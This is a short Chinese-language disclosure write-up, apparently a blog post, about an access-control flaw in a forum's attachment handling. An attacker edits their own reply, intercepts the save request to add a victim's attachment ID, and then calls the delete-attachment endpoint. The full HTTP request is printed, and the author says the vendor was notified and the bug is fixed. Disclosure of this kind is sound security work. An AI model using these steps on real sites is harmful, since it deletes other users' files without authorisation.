用户1:5wimming(受害者)
用户2:555232(攻击者)
先查看用户1附件的id,默认会显示在网页上,也可以通过右侧代码查找,这里6666是一张图片,id为4779620。
然后用户2随便发一个回复,然后保存。
然后点击上图中右下角的编辑按钮,进去后不用更改内容,点击保存并抓包,有两处地方需要修改,即将别人的附件加进去
如下图,已经将别人的附件加进来了
然后抓取删除附件的接口,删除id为4779620的附件。
GET /forum.php?mod=ajax&action=deleteattach&inajax=yes&tid=1773941&pid=62711467&aids[]=4779620 HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie:
发现用户2和用户1的附件都被删除了
该洞发现后,也是第一时间提交给了该企,目前该洞已改。